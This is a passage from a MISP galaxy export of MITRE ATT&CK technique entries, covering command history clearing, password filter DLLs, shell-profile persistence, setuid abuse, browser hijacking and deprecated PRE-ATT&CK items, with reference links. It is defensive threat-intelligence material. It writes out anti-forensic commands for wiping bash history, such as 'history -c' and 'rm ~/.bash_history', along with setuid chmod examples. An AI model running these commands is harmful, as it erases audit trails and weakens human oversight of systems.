In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Clear Command History - T1146"*

View relationships graph

Clear Command History - T1146 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 4085. Table References

Links
https://attack.mitre.org/techniques/T1146

System Location Discovery - T1614

Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as

<code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614"*

Table 4086. Table References

Links
https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
https://attack.mitre.org/techniques/T1614
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html
https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows
https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
https://securelist.com/transparent-tribe-part-1/98127/
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/

Password Filter DLL - T1174

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174"*

View relationships graph

Password Filter DLL - T1174 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002" with estimative-language:likelihood-probability="almost-certain"

Table 4087. Table References

Links
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://attack.mitre.org/techniques/T1174
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Device Type Discovery - T1419

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Type Discovery - T1419"*

Table 4088. Table References

Links
https://attack.mitre.org/techniques/T1419
https://developer.android.com/reference/android/os/Build

Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194"*

View relationships graph

Spearphishing via Service - T1194 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

Table 4089. Table References

Links
https://attack.mitre.org/techniques/T1194
https://capec.mitre.org/data/definitions/163.html

Group Policy Discovery - T1615

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path <code>\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"*

Table 4090. Table References

Links
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1615
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://github.com/PowerShellEmpire/Empire

Malicious Shell Modification - T1156

Adversaries may establish persistence through executing malicious commands triggered by a user's shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user's home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user's environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot).

For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Shell Modification - T1156"*

View relationships graph

Malicious Shell Modification - T1156 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

Table 4091. Table References

Links
https://attack.mitre.org/techniques/T1156
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Browser Session Hijacking - T1185

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)

The tag is: *misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185"*

Table 4092. Table References

Links
https://attack.mitre.org/techniques/T1185
https://en.wikipedia.org/wiki/Man-in-the-browser
https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf
https://www.cobaltstrike.com/help-browser-pivoting
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses

Supply Chain Compromise - T1195

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies

* Manipulation of software update/distribution mechanisms
* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
* Replacement of legitimate software with modified versions
* Sales of modified/counterfeit products to legitimate distributors
* Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)

The tag is: *misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"*

Table 4093. Table References

Links
https://attack.mitre.org/techniques/T1195
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://capec.mitre.org/data/definitions/437.html
https://capec.mitre.org/data/definitions/438.html
https://capec.mitre.org/data/definitions/439.html
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-*-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206*-E[https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-*-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206*-E]
https://www.commandfive.com/papers/C5_APT_SKHack.pdf
https://www.se.com/ww/en/download/document/SESN-2018-236-01/
https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets

Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).

The tag is: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166"*

View relationships graph

Setuid and Setgid - T1166 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"

Table 4094. Table References

Links
http://man7.org/linux/man-pages/man2/setuid.2.html
https://attack.mitre.org/techniques/T1166
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

cron

System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

at

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

launchd

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

The tag is: *misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"*

View relationships graph

Local Job Scheduling - T1168 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 4095. Table References

Links
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://attack.mitre.org/techniques/T1168
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html
https://linux.die.net/man/1/at
https://linux.die.net/man/5/crontab
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196"*

View relationships graph

Control Panel Items - T1196 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"

Table 4096. Table References

Links
https://attack.mitre.org/techniques/T1196
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf

C2 protocol development - T1352

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352).

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)

The tag is: *misp-galaxy:mitre-attack-pattern="C2 protocol development - T1352"*

Table 4097. Table References

Links
https://attack.mitre.org/techniques/T1352

Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223"*

View relationships graph

Compiled HTML File - T1223 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 4098. Table References

Links
https://attack.mitre.org/techniques/T1223
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
https://msdn.microsoft.com/windows/desktop/ms524405
https://msdn.microsoft.com/windows/desktop/ms644670
https://msitpros.com/?p=3909
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625

Create implementation plan - T1232

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1232).

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

The tag is: *misp-galaxy:mitre-attack-pattern="Create implementation plan - T1232"*

Table 4099. Table References

Links
https://attack.mitre.org/techniques/T1232

Determine operational element - T1242

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1242).

If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine operational element - T1242"*

Table 4100. Table References

Links
https://attack.mitre.org/techniques/T1242

Identify gap areas - T1225

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225).

Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify gap areas - T1225"*

Table 4101. Table References

Links
https://attack.mitre.org/techniques/T1225

Map network topology - T1252

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1252).

A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)

The tag is: *misp-galaxy:mitre-attack-pattern="Map network topology - T1252"*

Table 4102. Table References

Links
https://attack.mitre.org/techniques/T1252

Enumerate client configurations - T1262

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1262).

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

The tag is: *misp-galaxy:mitre-attack-pattern="Enumerate client configurations - T1262"*

Table 4103. Table References

Links
https://attack.mitre.org/techniques/T1262

Identify business relationships - T1272

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272).

Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272"*

View relationships graph

Identify business relationships - T1272 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1283" with estimative-language:likelihood-probability="almost-certain"

Table 4104. Table References

Links
https://attack.mitre.org/techniques/T1272

Determine physical locations - T1282

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282).

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine physical locations - T1282"*

Table 4105. Table References

Links
https://attack.mitre.org/techniques/T1282

Test signature detection - T1292

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292).

An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)

The tag is: *misp-galaxy:mitre-attack-pattern="Test signature detection - T1292"*

Table 4106. Table References

Links
https://attack.mitre.org/techniques/T1292

Access Contact List - T1432

An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Contact List - T1432"*

Table 4107. Table References

Links
https://attack.mitre.org/techniques/T1432
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html

Network Service Scanning - T1423

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1423"*

Table 4108. Table References

Links
https://attack.mitre.org/techniques/T1423

Evade Analysis Environment - T1523

Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. Adversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)

The tag is: *misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523"*

Table 4109. Table References

Links

http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/
https://attack.mitre.org/techniques/T1523
https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html
https://github.com/strazzere/anti-emulator
https://news.sophos.com/en-us/2017/04/13/android-malware-anti-emulation-techniques/
https://www.cyberscoop.com/android-malware-motion-detection-trend-micro/
https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html

Conduct passive scanning - T1253

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1253).

Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct passive scanning - T1253"*

Table 4110. Table References

Links
https://attack.mitre.org/techniques/T1253

Fast Flux DNS - T1325

This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).

A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)

The tag is: *misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1325"*

Table 4111. Table References

Links
https://attack.mitre.org/techniques/T1325
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref

Domain registration hijacking - T1326

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).

Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain registration hijacking - T1326"*

Table 4112. Table References

Links
https://attack.mitre.org/techniques/T1326
https://www.icann.org/groups/ssac/documents/sac-007-en

Mine social media - T1273

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273).

An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Mine social media - T1273"*

Table 4113. Table References

Links
https://attack.mitre.org/techniques/T1273

Buy domain name - T1328

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328).

Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Buy domain name - T1328"*

Table 4114. Table References

Links
https://attack.mitre.org/techniques/T1328

Identify business relationships - T1283

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283).

